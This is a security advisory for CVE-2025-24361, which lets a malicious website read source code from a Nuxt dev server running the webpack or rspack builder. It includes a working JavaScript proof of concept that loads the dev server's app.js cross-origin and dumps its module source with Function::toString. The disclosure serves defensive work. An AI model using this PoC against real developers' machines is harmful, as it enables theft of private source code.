🛡️ CVE-2025-24361 — rspack-builder

Opening a malicious website while running a Nuxt dev server could allow read-only access to code

Summary

Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script.

By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.

PoC

1. Create a nuxt project with webpack / rspack builder.

1. Run npm run dev

1. Open http://localhost:3000

1. Run the script below in a web site that has a different origin.

1. You can see the source code output in the document and the devtools console.

```js

const script = document.createElement('script')

script.src = 'http://localhost:3000/_nuxt/app.js'

script.addEventListener('load', () => {

for (const page in window.webpackChunknuxt_app) {

const moduleList = window.webpackChunknuxt_app[page][1]

console.log(moduleList)

for (const key in moduleList) {

const p = document.createElement('p')

const title = document.createElement('strong')

title.textContent = key

const code = document.createElement('code')

code.textContent = moduleList[key].toString()

p.append(title, ':', document.createElement('br'), code)

document.body.appendChild(p)

}

}

})

document.head.appendChild(script)

```


It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites.